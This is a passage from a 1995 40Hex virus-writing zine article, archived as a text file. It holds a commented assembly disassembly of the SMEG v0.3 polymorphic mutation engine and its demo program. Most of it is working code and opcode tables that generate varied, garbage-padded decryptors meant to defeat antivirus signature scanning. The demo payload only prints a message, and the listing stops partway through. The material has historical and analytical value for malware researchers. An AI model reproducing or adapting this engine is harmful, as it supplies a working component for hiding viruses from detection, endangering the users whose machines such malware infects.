home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SMEGUPD1.ZIP / SMGD40HX.TXT < prev    next >
Text File  |  1995-05-19  |  71KB  |  1,554 lines

  1. 40Hex Number 14 Volume 5 Issue 1                                      File 001
  2.  
  3. SMEG is one of those ubiquitous polymorphism aids which have become fashionable
  4. during the last few years. It was written by the Black Baron of England. It
  5. tends to generate rather large decryptors. The only really interesting feature
  6. is that it has the capability of generating CALL's to garbage subroutines. Note
  7. that there are only a few routines which SMEG chooses from, so this encryption
  8. is more on the level of Whale coupled with garbling. The debug script follows
  9. the disassembly.
  10.  
  11.                 Dark Angel
  12.                 Phalcon/Skism 1995
  13.  
  14. -------------------------------
  15. ; This is the disassembly of a SMEG demonstration program which generates
  16. ; snippets of code encrypted with SMEG.
  17.  
  18.                 .model  tiny
  19.                 .code
  20.                 .radix  16
  21.                 org     100
  22. ; Disassembly by Dark Angel of Phalcon/Skism
  23. ; for 40Hex #14 Vol 5 Issue 1
  24. workbuffer      struc
  25. datasize        dw      ?       ; 00 length of data to crypt
  26. sourceptr       dw      ?       ; 02 pointer to data to crypt
  27. targetptr       dw      ?       ; 04 pointer of where to put crypted data
  28.                 db      ?       ; 06 reg0 encryption value
  29.                 db      ?       ; 07 reg1 counter register
  30.                 db      ?       ; 08 reg2 temporary storage for data
  31.                                 ;         to be decrypted
  32.                 db      ?       ; 09 reg3
  33.                 db      ?       ; 0A reg4 (always BP)
  34.                 db      ?       ; 0B reg5
  35.                 db      ?       ; 0C reg6
  36.                 db      ?       ; 0D reg7 pointer register
  37. rng_buffer      dw      ?       ; 0E used by random number generator
  38. cryptval        db      ?       ; 10 encryption value
  39. ptr_offsets     dw      ?       ; 11 XXXX in [bx+XXXX] memory references
  40. loop_top        dw      ?       ; 13 points to top of decryption loop
  41. pointer_patch   dw      ?       ; 15 points to initialisation of pointer
  42. counter_patch   dw      ?       ; 17 points to initialisation of counter
  43. pointer_fixup   dw      ?       ; 19 needed for pointer calculation
  44. crypt_type      db      ?       ; 1B how is it encrypted?
  45. initialIP       dw      ?       ; 1C IP at start of decryptor
  46. lastgarble      db      ?       ; 1E type of the last garbling instr
  47. cJMP_patch      dw      ?       ; 1F conditional jmp patch
  48. CALL_patch      dw      ?       ; 21 CALL patch
  49. nJMP_patch      dw      ?       ; 23 near JMP patch
  50. garbage_size    dw      ?       ; 25 # garbage bytes to append
  51. decryptor_size  dw      ?       ; 27 size of decryptor
  52. last_CALL       dw      ?       ; 29 location of an old CALL patch location
  53. which_tbl       dw      ?       ; 2B which table to use
  54. workbuffer      ends
  55.  
  56. SMEG_demo:      jmp     enter_SMEG_demo
  57. filename        db      '0000.COM', 0
  58.  
  59. prompt          db      'SMEG v0.3.  Generation Difference Demonstration',0Dh
  60.                 db      0A,9,'   (C) The Black Baron 1994',0Dh,0A,0A,0A
  61.                 db      'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A
  62.                 db      '1  --  10     Generations',0Dh,0A
  63.                 db      '2  --  100        ""',0Dh,0A
  64.                 db      '3  --  1000       ""',0Dh,0A
  65.                 db      '4  --  10000      ""        (Large HD`s Only!!)$'
  66.  
  67. _10             db      ' 10 $'
  68. _100            db      ' 100 $'
  69. _1000           db      ' 1000 $'
  70. _10000          db      ' 10000 $'
  71.  
  72. generating      db      0Dh,0A,0A,0A,'Generating$'
  73.  
  74.  
  75. please_wait     db      'Executable .COM Generations, Please Wait...$'
  76.  
  77. checkdiff       db      0Dh,0A,0A
  78.                 db      'DONE!  Now examine each, and'
  79.                 db      ' note how different they are!',0Dh,0A,0A,7,'$'
  80.  
  81. diskerror       db      0Dh,0A,0A,'SORRY!  A disk error has occurred!'
  82.                 db      0Dh,0A,0A,7,'$'
  83.  
  84. num2gen         dw      10d, offset _10
  85.                 dw      100d, offset _100
  86.                 dw      1000d, offset _1000
  87.                 dw      10000d, offset _10000
  88.  
  89. enter_SMEG_demo:mov     ax,3                    ; set video mode to standard
  90.                 int     10                      ; text mode (clear screen, too)
  91.  
  92.                 mov     dx,offset prompt        ; display prompt
  93.                 mov     ah,9
  94.                 int     21
  95.  
  96. inputloop:      mov     ax,0C07                 ; clear keyboard buffer & get
  97.                 int     21                      ; keystroke
  98.  
  99.                 cmp     al,'1'                  ; must be between 1 and 4
  100.                 jb      inputloop
  101.                 cmp     al,'4'
  102.                 ja      inputloop
  103.  
  104.                 sub     al,'1'                  ; normalise
  105.                 xor     ah,ah                   ; and find out how many files
  106.                 add     ax,ax                   ; we should generate
  107.                 add     ax,ax
  108.                 add     ax,offset num2gen
  109.                 xchg    bx,ax
  110.                 push    bx
  111.  
  112.                 mov     dx,offset generating
  113.                 mov     ah,9                    ; display string
  114.                 int     21
  115.  
  116.                 pop     bx                      ; display num to generate
  117.                 mov     cx,[bx]
  118.                 push    cx
  119.                 mov     dx,[bx+2]
  120.                 int     21
  121.  
  122.                 mov     dx,offset please_wait   ; display string again
  123.                 int     21
  124.  
  125.                 pop     cx
  126.  
  127. gen_file_loop:  push    cx
  128.                 mov     bp,offset data_area     ; set up SMEG registers
  129.                 mov     di,offset target_area
  130.                 mov     dx,offset carrier
  131.                 mov     cx,offset end_carrier - offset carrier
  132.                 mov     ax,100                  ; COM files start exec @ 100
  133.                 call    SMEG                    ; encrypt the carrier file
  134.  
  135.                 mov     ah,5Bh                  ; create new file
  136.                 mov     dx,offset filename
  137.                 xor     cx,cx
  138.                 int     21
  139.                 jnc     created_file
  140. print_error_exit:
  141.                 call    print_error
  142. exit_error:     pop     cx
  143.                 mov     ax,4CFF                 ; terminate errorlevel -1
  144.                 int     21
  145.  
  146. created_file:   xchg    bx,ax
  147.                 mov     ah,40                   ; write decryptor
  148.                 mov     cx,[bp.decryptor_size]
  149.                 mov     dx,offset target_area
  150.                 int     21
  151.                 jnc     write_rest
  152.  
  153. close_exit:     call    print_error
  154.                 mov     ah,3E                   ; close file
  155.                 int     21
  156.                 jmp     short exit_error
  157.  
  158. write_rest:     call    encrypt                 ; encrypt the code
  159.                 mov     ah,40                   ; the write the result to the
  160.                 mov     cx,[bp.datasize]        ; file
  161.                 mov     dx,offset target_area
  162.                 int     21
  163.                 jc      close_exit
  164.  
  165.                 call    generate_garbage        ; create garbage
  166.                 mov     ah,40                   ; append it to the file
  167.                 int     21
  168.                 jc      close_exit
  169.  
  170.                 mov     ah,3E                   ; close file
  171.                 int     21
  172.                 jc      print_error_exit
  173.  
  174.                 mov     bx,offset filename+3    ; calculate next file name
  175.                 mov     cx,4
  176. inc_fname:      inc     byte ptr [bx]
  177.                 cmp     byte ptr [bx],3A
  178.                 jb      increment_done
  179.                 sub     byte ptr [bx],0A
  180.                 dec     bx
  181.                 loop    inc_fname
  182. increment_done: pop     cx
  183.                 loop    gen_file_loop
  184.  
  185.                 mov     dx,offset checkdiff     ; display string
  186.                 mov     ah,9
  187.                 int     21
  188.  
  189.                 mov     ax,4C00                 ; exit errorlevel 0
  190.                 int     21
  191.  
  192. print_error:    mov     dx,offset diskerror     ; display error message
  193.                 mov     ah,9
  194.                 int     21
  195.  
  196.                 retn
  197.  
  198. carrier:        call    enter_carrier
  199.                 db      0Dh,0A,'This was decrypted with a SMEG v0.3 generated'
  200.                 db      ' decryptor!',0Dh,0A,'$'
  201. enter_carrier:  pop     dx
  202.                 mov     ah,9                    ; print string
  203.                 int     21
  204.  
  205.                 mov     ax,4c00                 ; terminate
  206.                 int     21
  207. end_carrier:
  208.  
  209. ; SMEG code begins here
  210.  
  211. SMEG:           mov     [bp.datasize],cx        ; save length to crypt
  212.                 mov     [bp.sourceptr],dx       ; save offset to data to crypt
  213.                 mov     [bp.targetptr],di       ; save offset to where to put crypted stuff
  214.                 push    bx si
  215.  
  216.                 mov     bx,bp
  217.                 db      83,0C3,06 ; add bx,6
  218.                 mov     cx,2Dh                  ; clear the work area with 0's
  219. ; the above line is buggy. it should read: mov cx,2Dh-6
  220.                 push    bx
  221. clear_dataarea: mov     [bx],ch
  222.                 inc     bx
  223.                 loop    clear_dataarea
  224.  
  225.                 mov     [bp.initialIP],ax       ; store initial IP
  226.                 call    rnd_init
  227.                 mov     bx,offset use_regs_tbl
  228.                 call    rnd_get
  229.                 and     al,1F
  230.                 xlat
  231.                 pop     bx
  232.                 mov     cx,4
  233. fill_registers:
  234.                 xor     dl,dl                   ; fill in which registers
  235.                 rcl     al,1                    ; do which job
  236.                 rcl     dl,1
  237.                 rcl     al,1
  238.                 rcl     dl,1
  239.                 mov     [bx],dl
  240.                 inc     bx
  241.                 loop    fill_registers
  242.  
  243.                 mov     byte ptr [bx],5         ; use BP as a garbling register
  244.                 inc     bx
  245.                 inc     bx
  246.                 call    rnd_get
  247.                 rol     al,1                    ; get top bit of al
  248.                 and     al,1                    ; to select between
  249.                 add     al,6                    ; si and di for ptr
  250.                 mov     [bx],al                 ; register
  251.                 xor     al,1                    ; flip to the other one
  252.                 cmp     byte ptr [bx-3],3       ; is it BX?
  253.                 jne     is_not_bx
  254.                 mov     [bx-3],al
  255.                 mov     al,3
  256. is_not_bx:      mov     [bx+1],al
  257.                 mov     al,[bx-3]
  258.                 mov     [bx-1],al
  259.  
  260. gen_cryptval:   call    rnd_get
  261.                 xor     al,ah
  262.                 jz      gen_cryptval
  263.                 mov     [bp.cryptval],al        ; store encryption value
  264.  
  265.                 call    rnd_get                 ; get a random value for the
  266.                 or      al,1                    ; offset of memory references,
  267.                 mov     [bp.ptr_offsets],ax     ; i.e. the XXXX in [bp+XXXX]
  268.  
  269.                 call    rnd_init                ; generate a random number
  270.                 and     ax,3FF                  ; from 80 to 47F to be the
  271.                 add     ax,80                   ; number of garbage bytes to
  272.                 mov     [bp.garbage_size],ax    ; add
  273.  
  274. ; the next block serves no purpose. but it is a valid text string...
  275.                 xor     ax,ax                   ; 3?SMEG????
  276.                 add     al,53                   ; where ? stands for an upper
  277.                 dec     bp                      ; ASCII character
  278.                 inc     bp
  279.                 inc     di
  280.                 add     al,0AE
  281.                 cld
  282.                 sub     di,ax
  283.  
  284.                 call    rnd_get                 ; do the following from
  285.                 and     ax,3                    ; 3 to 7 times
  286.                 add     al,3
  287.                 xchg    cx,ax
  288. begin_garble:   push    cx
  289.                 call    garble_more
  290.                 call    rnd_get
  291.                 cmp     al,8C
  292.                 jbe     no_int21
  293.                 and     ax,3                    ; encode a dummy int 21
  294.                 add     ax,offset int21fcns     ; call
  295.                 xchg    si,ax
  296.                 mov     ah,0B4
  297.                 lodsb
  298.                 xchg    ah,al
  299.                 stosw
  300.                 mov     ax,21CDh                ; encode int 21
  301.                 stosw
  302. no_int21:       pop     cx
  303.                 loop    begin_garble
  304.  
  305.                 mov     al,0E8                  ; encode a CALL
  306.                 stosb
  307.                 push    di                      ; write garbage for offset
  308.                 stosw                           ; of call for now
  309.                 call    garble_more             ; encode some garbage
  310.                 mov     al,0E9                  ; encode a JMP
  311.                 stosb
  312.                 pop     bx
  313.                 push    di
  314.                 stosw
  315.                 push    di
  316.                 pop     ax
  317.                 dec     ax
  318.                 dec     ax
  319.                 sub     ax,bx
  320.                 mov     [bx],ax                 ; patch CALL to point to
  321.                                                 ; space past the JMP where we
  322.                 call    garble_more             ; encode a garbage subroutine
  323.  
  324.                 mov     al,0C3                  ; encode a RETN
  325.                 stosb
  326.  
  327.                 pop     bx
  328.                 push    di
  329.                 pop     ax
  330.                 dec     ax
  331.                 dec     ax
  332.                 sub     ax,bx
  333.                 mov     [bx],ax                 ; Make JMP go past subroutine
  334.  
  335.                 call    encode_routine          ; encode the routine!
  336.  
  337.                 mov     si,bp
  338.                 db      83,0C6,08 ; add si,8    ; default to using data temp
  339.                                                 ; storage register to return
  340.                                                 ; to top of loop
  341.                 and     al,al                   ; check return code of routine
  342.                 jnz     how_to_top
  343.                 dec     si                      ; if 0, instead use encryption
  344.                 dec     si                      ; value register to return
  345. how_to_top:     mov     al,75                   ; encode JNZ
  346.                 stosb
  347.                 inc     di
  348.                 push    di
  349.                 call    garble_some
  350.                 pop     bx
  351.                 mov     al,0E9                  ; encode a JMP
  352.                 stosb
  353.                 push    di
  354.                 inc     di                      ; skip the offset for now
  355.                 inc     di
  356.                 mov     ax,di
  357.                 sub     ax,bx
  358.                 mov     [bx-1],al               ; patch the JNZ
  359.                 call    garble_some
  360.  
  361.                 call    rnd_get
  362.                 and     ax,3                    ; first entry requires
  363.                 add     ax,ax                   ; no register setup, so
  364.                 jz      no_setup                ; jmp past it
  365.  
  366.                 push    ax
  367.                 mov     al,0B8
  368.                 or      al,[si]                 ; MOV word-reg, XXXX
  369.                 stosb
  370.                 mov     ax,[bp.loop_top]
  371.                 sub     ax,[bp.targetptr]
  372.                 add     ax,[bp.initialIP]
  373.                 stosw
  374.                 call    garble_some
  375.                 pop     ax
  376. no_setup:       add     ax,offset jmp_table
  377.                 xchg    bx,ax
  378.                 call    word ptr [bx]           ; encode method of returning
  379.                 stosw                           ; to the top of the loop
  380.  
  381.                 pop     bx
  382.                 mov     ax,di
  383.                 sub     ax,bx
  384.                 dec     ax
  385.                 dec     ax
  386.                 mov     [bx],ax
  387.                 call    garble_more
  388. pad_paragraph:  mov     ax,di                   ; pad the decryptor out to the
  389.                 sub     ax,[bp.targetptr]       ; nearest paragraph
  390.                 and     al,0F                   ; do we need to?
  391.                 jz      padded                  ; no, we are done
  392.                 cmp     al,0C                   ; otherwise, still a lot to go?
  393.                 ja      one_byte_pad            ; no, do one byte at a time
  394.                 call    not_branch_garble       ; else do a nonbranching
  395.                 jmp     short pad_paragraph     ; instruction
  396.  
  397. one_byte_pad:   call    rnd_get                 ; do a random one byte padding
  398.                 call    do_one_byte             ; instruction
  399.                 jmp     short pad_paragraph
  400.  
  401. padded:         mov     ax,di
  402.                 sub     ax,[bp.targetptr]
  403.                 mov     [bp.decryptor_size],ax
  404.                 add     ax,[bp.initialIP]
  405.                 mov     cx,[bp.pointer_fixup]
  406.                 sub     ax,cx
  407.                 mov     bx,[bp.pointer_patch]
  408.                 mov     [bx],ax
  409.                 mov     bl,[bp.crypt_type]      ; get encryption type so
  410.                 mov     cl,3                    ; the initial value of the
  411.                 ror     bl,cl                   ; counter can be calculated
  412.                 db      83,0E3,0F ; and bx,0F
  413.                 add     bx,offset counter_init_table
  414.                 mov     ax,[bp.datasize]
  415.                 call    word ptr [bx]
  416.  
  417.                 mov     bx,[bp.counter_patch]   ; patch the value of the
  418.                 mov     [bx],ax                 ; counter as needed
  419.  
  420.                 pop     si bx
  421.                 retn
  422.  
  423. generate_garbage:
  424.                 mov     cx,[bp.garbage_size]    ; write random bytes
  425.                 mov     di,[bp.targetptr]       ; to the target location
  426.                 push    cx di
  427. random_gen:     call    rnd_get
  428.                 stosb
  429.                 loop    random_gen
  430.                 pop     dx cx
  431.                 retn
  432.  
  433. write_table     dw      offset write_nothing
  434.                 dw      offset write_cryptval
  435.                 dw      offset write_pointer_patch
  436.                 dw      offset write_counter_patch
  437.                 dw      offset write_ptr_offset
  438.                 dw      offset write_dl
  439.  
  440. ; In the following table, each pair of bits represents a register
  441. ; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx
  442. use_regs_tbl:   db      00011011b ; ax cx dx bx
  443.                 db      11000110b ; bx ax cx dx
  444.                 db      10110001b ; dx bx ax cx
  445.                 db      01101100b ; cx dx bx ax
  446.                 db      11100100b ; bx dx cx ax
  447.                 db      00111001b ; ax bx dx cx
  448.                 db      01001110b ; cx ax bx dx
  449.                 db      10010011b ; dx cx ax bx
  450.                 db      01001011b ; cx ax dx bx
  451.                 db      11010010b ; bx cx ax dx
  452.                 db      10110100b ; dx bx cx ax
  453.                 db      00101101b ; ax dx cx bx
  454.                 db      11100001b ; bx dx ax cx
  455.                 db      01111000b ; cx bx dx ax
  456.                 db      00011110b ; ax cx bx dx
  457.                 db      10000111b ; dx ax cx bx
  458.                 db      00100111b ; ax dx cx bx
  459.                 db      11001001b ; bx ax dx cx
  460.                 db      01110010b ; cx bx ax dx
  461.                 db      10011100b ; dx cx bx ax
  462.                 db      11011000b ; dx ax bx cx
  463.                 db      00110110b ; ax bx cx dx
  464.                 db      10001101b ; bx cx dx ax
  465.                 db      01100011b ; cx dx ax bx
  466.                 db      11100100b ; bx dx cx ax
  467.                 db      00101101b ; ax dx cx bx
  468.                 db      00100111b ; ax dx cx bx
  469.                 db      00011110b ; ax cx bx dx
  470.                 db      11000110b ; bx ax cx dx
  471.                 db      10000111b ; bx cx ax dx
  472.                 db      11010010b ; cx bx ax dx
  473.                 db      01110010b ; cx bx ax dx
  474.  
  475. onebyte_table:  dec     ax
  476.                 inc     ax
  477.                 clc
  478.                 cld
  479.                 cmc
  480.                 stc
  481.                 inc     ax
  482.                 dec     ax
  483.  
  484. ; high byte holds the opcode, low byte holds the second byte of the
  485. ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
  486. ; byte hold the maximum amount to add to the high byte in creating the
  487. ; instruction. This allows one word to generate more than one instruction,
  488. ; including the byte or word forms of the instructions
  489. ; note that this is reverse of what will be actually stored
  490. garble_table:   dw       80F1   ;  XOR reg, XXXX
  491.                 dw       3201   ;  XOR reg, [reg]
  492.                 dw      0F6C1   ; TEST reg, XXXX
  493.                 dw       8405   ; TEST/XCHG reg, [reg]
  494.                 dw       80E9   ;  SUB reg, XXXX        (2 diff encodings)
  495.                 dw       2A01   ;  SUB reg, [reg]
  496.                 dw      0D0EBh  ;  SHR reg, 1
  497.                 dw       1A01   ;  SBB reg, [reg]
  498.                 dw       80D9   ;  SBB reg, XXXX
  499.                 dw       80D1   ;  ADC reg, XXXX
  500.                 dw      0D0FBh  ;  SAR reg, 1/CL
  501.                 dw      0D0E3   ;  SHL reg, 1/CL
  502.                 dw      0D0CBh  ;  ROR reg, 1/CL
  503.                 dw      0D0C3   ;  ROL reg, 1/CL
  504.                 dw       8405   ; TEST/XCHG reg, [reg]
  505.                 dw      0D0DBh  ;  RCR reg, 1/CL
  506.                 dw      0C6C1   ;  MOV reg, XXXX
  507.                 dw      080C9   ;   OR reg, XXXX
  508.                 dw       0A01   ;   OR reg, [reg]
  509.                 dw      0F6D1   ;  NOT reg
  510.                 dw      0F6D9   ;  NEG reg
  511.                 dw       8A01   ;  MOV reg, [reg]
  512.                 dw      0C6C1   ;  MOV reg, XXXX
  513.                 dw       0201   ;  ADD reg, [reg]
  514.                 dw       80C1   ;  ADD reg, XXXX
  515.                 dw       80FDh  ;  CMP reg, XXXX
  516.                 dw       3807   ;  CMP reg, [reg]       (2 diff encodings)
  517.                 dw       80E1   ;  AND reg, XXXX
  518.                 dw      0D0D3   ;  RCL reg, 1/CL
  519.                 dw       2201   ;  AND reg, [reg]
  520.                 dw       1201   ;  ADC reg, [reg]
  521.                 dw       8A01   ;  MOV reg, [reg]
  522.  
  523. int21fcns       db      19,2A,2C,30
  524.  
  525. counter_init_table:
  526.                 dw      offset counterinit0
  527.                 dw      offset counterinit1
  528.                 dw      offset counterinit2
  529.                 dw      offset counterinit3
  530.                 dw      offset counterinit4
  531.                 dw      offset counterinit5
  532.                 dw      offset counterinit6
  533.                 dw      offset counterinit7
  534.  
  535. encode_table    dw      offset use_as_is
  536.                 dw      offset fill_mod_field
  537.                 dw      offset fill_field
  538.                 dw      offset fill_reg_reg1
  539.                 dw      offset fill_reg_field
  540.                 dw      offset fill_mod_n_reg
  541.                 dw      offset fill_reg_reg2
  542.  
  543. encode_tbl1:    db       8,8C,0,0C8,4,0         ; 1 MOV reg0, CS
  544.                 db       8,8E,0,0D8,4,0         ; 2 MOV DS, reg0
  545.                 db       7,0B8,4,-1,0,2         ; 3 MOV reg7,initial pointer
  546.                 db       1,0B8,4,-1,0,3         ; 4 MOV reg1,initial counter
  547.                 db       57,8A,0,80,5,4         ; 5 MOV reg2,[reg7+offset]
  548.                 db       57,88,0,80,5,4         ; 6 MOV [reg7+offset],reg2
  549.                 db       2,80,0,0F0,4,1         ; 7 XOR reg2,cryptvalue
  550.                 db       11,8Bh,0,0C0,5,0       ; 8 MOV reg2,reg1
  551.                 db       78,30,0,0,6,0          ; 9 XOR [reg7],reg0
  552.                 db       47,0F6,0,98,4,4        ; A NEG [reg7+offset]
  553.                 db       47,0F6,0,90,4,4        ; B NOT [reg7+offset]
  554.                 db       7,40,4,-1,0,0          ; C INC reg7
  555.                 db       1,48,4,-1,0,0          ; D DEC reg1
  556.                 db       8,0B0,4, -1,0,1        ; E MOV reg0,cryptval
  557.                 db       10,33,0,0C0,5,0        ; F XOR reg2,reg0
  558.  
  559. encode_tbl2:    db       47,86,0,80,5,4         ; 1 XCHG reg0,[reg7+offset]
  560.                 db       8,40,4,-1,0,0          ; 2 INC reg0
  561.                 db       8,48,4,-1,0,0          ; 3 DEC reg0
  562.                 db       7,81,0,0C0,4,15        ; 4 ADD reg7,1
  563.                 db       1,81,0,0E8,4,15        ; 5 SUB reg1,1
  564.                 db       10,2,0,0C0,5,0         ; 6 ADD reg2,reg0
  565.                 db       10,2A,0,0C0,5,0        ; 7 SUB reg2,reg0
  566.                 db       47,0FBh,4,0B0,4,4      ; 8 PUSH [reg7+offset]
  567.                 db       47,8F,0,80,4,4         ; 9 POP  [reg7+offset]
  568.                 db       8,50,4,-1,0,0          ; A PUSH reg0
  569.                 db       8,58,4,-1,0,0          ; B POP reg0
  570.                 db       10,87,0,0C0,5,0        ; C XCHG reg2,reg0
  571.                 db       2,40,4,-1,0,0          ; D INC reg2
  572.                 db       8,8Bh,0,0C0,5,0        ; E MOV reg1,reg0
  573.                 db       9,23,0,0C0,5,0         ; F AND reg1,reg1
  574.  
  575. routine4:       db      10
  576.                 ; MOV reg0,CS                   (1)
  577.                 ; MOV reg7,initial pointer      (3)
  578.                 ; MOV DS,reg0                   (2)
  579.                 ; MOV reg1,initial counter      (4)
  580.                 ; MOV reg0,encryption value     (E)
  581.                 ; XOR reg2,reg0                 (F)
  582.                 ; beginning of loop             (0)
  583.                 ; MOV reg2,[reg7+offset]        (5)
  584.                 ; XOR reg2,reg0                 (F)
  585.                 ; INC reg0                      (02)
  586.                 ; MOV [reg7+offset],reg2        (6)
  587.                 ; INC reg7                      (C)
  588.                 ; DEC reg1                      (D)
  589.                 ; done                          (-1)
  590.                 db      13,24,0EF,05,0F0,26,0CDh,-1
  591.  
  592. routine8:       db      71
  593.                 ; MOV reg7,initial pointer      (3)
  594.                 ; MOV reg1,initial counter      (4)
  595.                 ; MOV reg0,CS                   (1)
  596.                 ; MOV DS,reg0                   (2)
  597.                 ; MOV reg0,encryption value     (E)
  598.                 ; MOV reg0,encryption value     (E)
  599.                 ; beginning of loop             (0)
  600.                 ; DEC reg1                      (D)
  601.                 ; NEG [reg7+offset]             (A)
  602.                 ; DEC reg1                      (D)
  603.                 ; MOV reg2,[reg7+offset]        (5)
  604.                 ; XOR reg2,reg0                 (F)
  605.                 ; MOV [reg7+offset],reg2        (6)
  606.                 ; DEC reg0                      (03)
  607.                 ; ADD reg7,1                    (04)
  608.                 ; SUB reg1,1                    (05)
  609.                 ; DEC reg0                      (03)
  610.                 ; SUB reg1,1                    (05)
  611.                 ; done                          (-1)
  612.                 db      34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1
  613.  
  614. routine1:       db      42
  615.                 ; MOV reg1,initial counter      (4)
  616.                 ; MOV reg7,initial pointer      (3)
  617.                 ; MOV reg0,CS                   (1)
  618.                 ; XCHG reg2,reg0                (0C)
  619.                 ; MOV reg0,encryption value     (E)
  620.                 ; MOV reg0,encryption value     (E)
  621.                 ; XCHG reg2,reg0                (0C)
  622.                 ; MOV DS,reg0                   (2)
  623.                 ; beginning of loop             (0)
  624.                 ; XCHG reg0,[reg7+offset]       (01)
  625.                 ; XOR reg2,reg0                 (F)
  626.                 ; MOV [reg7+offset],reg2        (6)
  627.                 ; MOV reg2,reg1                 (8)
  628.                 ; MOV reg2,reg1                 (8)
  629.                 ; INC reg2                      (0D)
  630.                 ; INC reg2                      (0D)
  631.                 ; INC reg2                      (0D)
  632.                 ; DEC reg0                      (03)
  633.                 ; XCHG reg2,reg0                (0C)
  634.                 ; MOV reg1,reg0                 (0E)
  635.                 ; ADD reg7,1                    (04)
  636.                 ; AND reg1,reg1                 (0F)
  637.                 ; done                          (-1)
  638.                 ; return code 0                 (0)
  639.  
  640.  
  641.                 db      43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40
  642.                 db      0F0,-1,0
  643.  
  644. routineC:       db      33
  645.                 ; MOV reg0,CS                   (1)
  646.                 ; MOV reg1,initial counter      (4)
  647.                 ; MOV DS,reg0                   (2)
  648.                 ; MOV reg7,initial pointer      (3)
  649.                 ; MOV reg0,encryption value     (E)
  650.                 ; MOV reg0,encryption value     (E)
  651.                 ; beginning of loop             (0)
  652.                 ; DEC reg1                      (D)
  653.                 ; DEC reg1                      (D)
  654.                 ; NOT [reg7+offset]             (B)
  655.                 ; MOV reg2,[reg7+offset]        (5)
  656.                 ; XOR reg2,reg0                 (F)
  657.                 ; MOV [reg7+offset],reg2        (6)
  658.                 ; XOR reg2,reg0                 (F)
  659.                 ; INC reg7                      (C)
  660.                 ; INC reg0                      (02)
  661.                 ; INC reg0                      (02)
  662.                 ; XOR reg2,reg0                 (F)
  663.                 ; done                          (-1)
  664.                 db      14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1
  665.  
  666. routineE:       db      64
  667.                 ; MOV reg1,initial counter      (4)
  668.                 ; MOV reg0,CS                   (1)
  669.                 ; MOV DS,reg0                   (2)
  670.                 ; MOV reg0,encryption value     (E)
  671.                 ; MOV reg7,initial pointer      (3)
  672.                 ; XOR reg2,reg0                 (F)
  673.                 ; beginning of loop             (0)
  674.                 ; XOR [reg7],reg0               (9)
  675.                 ; MOV reg2,reg1                 (8)
  676.                 ; XCHG reg2,reg0                (0C)
  677.                 ; INC reg0                      (02)
  678.                 ; INC reg2                      (0D)
  679.                 ; INC reg0                      (02)
  680.                 ; ADD reg7,1                    (04)
  681.                 ; INC reg0                      (02)
  682.                 ; INC reg0                      (02)
  683.                 ; MOV reg1,reg0                 (0E)
  684.                 ; INC reg2                      (0D)
  685.                 ; XCHG reg2,reg0                (0C)
  686.                 ; AND reg1,reg1                 (0F)
  687.                 ; done                          (-1)
  688.                 db      41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1
  689.  
  690. routine2:       db      5
  691.                 ; MOV reg0,CS                   (1)
  692.                 ; MOV reg7,initial pointer      (3)
  693.                 ; MOV reg1,initial counter      (4)
  694.                 ; MOV DS,reg0                   (2)
  695.                 ; MOV reg0,encryption value     (E)
  696.                 ; XOR reg2,reg0                 (F)
  697.                 ; beginning of loop             (0)
  698.                 ; DEC reg1                      (D)
  699.                 ; XOR reg2,encryption value     (7)
  700.                 ; PUSH reg0                     (0A)
  701.                 ; PUSH [reg7+offset]            (08)
  702.                 ; POP reg0                      (0B)
  703.                 ; XCHG reg2,reg0                (0C)
  704.                 ; POP reg0                      (0B)
  705.                 ; PUSH reg0                     (0A)
  706.                 ; SUB reg2,reg0                 (07)
  707.                 ; MOV [reg7+offset],reg2        (6)
  708.                 ; INC reg7                      (C)
  709.                 ; MOV reg2,reg1                 (8)
  710.                 ; MOV reg2,reg1                 (8)
  711.                 ; INC reg2                      (0D)
  712.                 ; INC reg2                      (0D)
  713.                 ; XCHG reg2,reg0                (0C)
  714.                 ; MOV reg1,reg0                 (0E)
  715.                 ; POP reg0                      (0B)
  716.                 ; INC reg0                      (02)
  717.                 ; AND reg1,reg1                 (0F)
  718.                 ; done                          (-1)
  719.                 db      13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0
  720.                 db      0D0,0C0,0E0,0B0,20,0F0,-1
  721.  
  722. routineF:       db      56
  723.                 ; MOV reg7,initial pointer      (3)
  724.                 ; MOV reg1,initial counter      (4)
  725.                 ; MOV reg0,CS                   (1)
  726.                 ; MOV DS,reg0                   (2)
  727.                 ; MOV DS,reg0                   (2)
  728.                 ; MOV reg0,encryption value     (E)
  729.                 ; beginning of loop             (0)
  730.                 ; MOV reg2,[reg7+offset]        (5)
  731.                 ; INC reg2                      (0D)
  732.                 ; ADD reg2,reg0                 (06)
  733.                 ; MOV [reg7+offset],reg2        (6)
  734.                 ; MOV reg2,reg1                 (8)
  735.                 ; DEC reg0                      (03)
  736.                 ; XOR reg2,reg0                 (F)
  737.                 ; DEC reg1                      (D)
  738.                 ; INC reg7                      (C)
  739.                 ; DEC reg1                      (D)
  740.                 ; done                          (-1)
  741.                 db      34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1
  742.  
  743. routine9:       db      27
  744.                 ; MOV reg1,initial counter      (4)
  745.                 ; MOV reg0,CS                   (1)
  746.                 ; MOV reg7,initial pointer      (3)
  747.                 ; MOV DS,reg0                   (2)
  748.                 ; MOV reg0,encryption value     (E)
  749.                 ; XOR reg2,reg0                 (F)
  750.                 ; beginning of loop             (0)
  751.                 ; XOR [reg7],reg0               (9)
  752.                 ; XOR reg2,reg0                 (F)
  753.                 ; ADD reg7,1                    (04)
  754.                 ; PUSH reg0                     (0A)
  755.                 ; MOV reg2,reg1                 (8)
  756.                 ; DEC reg1                      (D)
  757.                 ; INC reg2                      (0D)
  758.                 ; INC reg2                      (0D)
  759.                 ; INC reg2                      (0D)
  760.                 ; XCHG reg2,reg0                (0C)
  761.                 ; MOV reg1,reg0                 (0E)
  762.                 ; POP reg0                      (0B)
  763.                 ; DEC reg0                      (03)
  764.                 ; AND reg1,reg1                 (0F)
  765.                 ; done                          (-1)
  766.                 db      41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0
  767.                 db      -1
